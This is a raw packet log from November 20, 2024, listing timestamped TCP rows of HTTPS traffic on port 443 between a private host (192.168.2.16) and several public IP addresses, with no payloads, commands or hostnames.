Nov 20, 2024 15:43:16.173008919 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.173018932 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.173108101 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.173142910 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.173155069 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.173165083 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.173171043 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.173186064 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.173208952 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.187040091 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.187077999 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.187167883 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.187269926 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.187336922 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.187391996 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.187410116 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.187419891 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.187453032 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.189810038 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.189830065 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.239402056 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.252234936 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.252290010 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.252464056 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.252573013 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.252580881 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.259409904 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.259469032 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.259529114 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.259542942 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.259562969 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.259619951 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.259952068 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.259967089 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.335876942 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:16.335921049 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:16.336009026 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:16.336222887 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:16.336236000 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:16.405405045 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.405447960 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.405529022 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.405750036 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.405761003 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.863617897 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.864007950 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.864068985 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.864572048 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.864696980 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.865470886 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.865597010 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.867595911 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.867737055 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.867788076 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.911339045 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.917821884 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:16.917846918 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:16.964823961 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.313384056 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.313420057 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.313429117 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.313472033 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.313539982 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.313601971 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.313632965 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.339426041 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.339440107 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.339559078 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.339593887 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.343247890 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.343507051 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.343518972 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.344557047 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.344631910 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.344923973 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.344989061 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.345027924 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.380861044 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.391326904 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.396835089 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.396857023 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.444818020 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.493726015 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.494002104 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.494012117 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.497431040 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.497493982 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.497843981 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.497903109 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.498073101 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.498079062 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.509327888 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.509341002 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.509398937 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.509407997 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.509493113 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.532846928 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.532860994 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.532902956 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.532941103 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.532969952 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.540811062 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.562582016 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.562599897 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.562669039 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.562695026 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.585417986 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.585428953 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.585520029 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.585540056 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.619357109 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.619368076 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.619431973 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.619456053 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.638331890 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:17.638586044 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:17.638597965 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:17.639664888 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:17.639734983 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:17.640166044 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:17.640225887 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:17.640392065 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:17.640398979 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:17.665738106 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.666008949 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.666030884 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.666914940 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.666979074 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.667260885 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.667319059 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.667401075 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.667407036 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.667818069 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.683830023 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:17.715812922 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.717394114 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.717406988 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.717469931 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.717483044 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.717546940 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.738903999 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.738914013 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.738944054 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.738974094 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.739047050 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.762449980 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.762459040 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.762501001 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.762521029 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.762546062 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.771320105 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.771327972 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.771390915 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.771401882 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.778815031 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.778860092 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.778875113 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.778883934 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.778908968 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.794958115 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.794966936 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.794980049 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.795011044 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.795023918 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.795036077 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.795068026 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.799205065 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799254894 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799295902 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799302101 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.799324036 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799354076 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799365997 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.799371958 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.799411058 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.807620049 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.815507889 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.815555096 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.815562010 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.822653055 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.822707891 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.822715044 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.843803883 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.875830889 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.920738935 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:17.929830074 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.929841995 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.929900885 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.929909945 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.929939985 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.929971933 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.929990053 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.930011988 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.944259882 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.944287062 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.944339991 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.944350958 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.944390059 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.947365999 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947412968 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947446108 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947453022 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.947482109 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947514057 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947524071 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.947530031 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.947573900 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.955760002 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.961529016 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.961563110 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.961600065 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.961605072 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.961652994 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.965265036 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.965333939 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.965353966 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.967124939 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.967189074 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.967194080 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.970818043 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:17.973850965 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.973917961 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.973948002 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:17.973953962 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:17.973994017 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.974006891 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.978132010 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.978220940 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.978226900 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.985934973 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.986006021 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.986012936 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.990420103 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.990500927 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.990508080 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.996114969 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.996186972 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.996193886 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.999365091 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:17.999442101 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:17.999450922 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.000125885 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004182100 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004246950 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.004249096 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004257917 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004295111 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.004301071 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004333973 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.004374981 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004401922 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.004410028 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.004437923 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.004498959 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.004508018 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:18.004517078 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.004550934 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:18.016195059 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.016208887 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.016278028 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.016285896 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.018817902 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.066798925 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.068945885 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.090734005 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.091629982 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.091717005 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.091718912 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.091747999 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.091797113 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.093051910 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.102561951 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.102642059 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.102654934 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.110258102 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.110325098 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.110333920 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.115011930 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.115017891 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.118010044 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.118081093 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.118088961 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.125790119 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.125845909 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.125885010 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.125902891 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.125910044 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.125956059 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.125960112 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.125997066 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.126035929 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.126041889 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.137547970 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.137629032 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.137653112 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.144043922 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.144054890 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.144129038 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.144160032 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.144190073 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.144231081 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.144262075 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.144284964 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.145437002 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.145498037 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.145505905 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.147102118 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.147155046 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.147161007 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.152642965 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.152659893 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.152793884 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.152810097 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.152869940 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.153107882 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.153162003 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.153170109 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.159353971 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.159385920 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.159436941 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.159451008 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.159482002 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.159518003 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.161968946 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.161982059 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.162019968 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.162038088 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.162045956 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.162101030 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.163145065 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.163223982 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.163239956 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.169867992 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.170568943 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.170583963 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.170651913 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.170667887 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.173208952 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.173285961 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.173300028 CET	443	49763	170.106.97.195	192.168.2.16
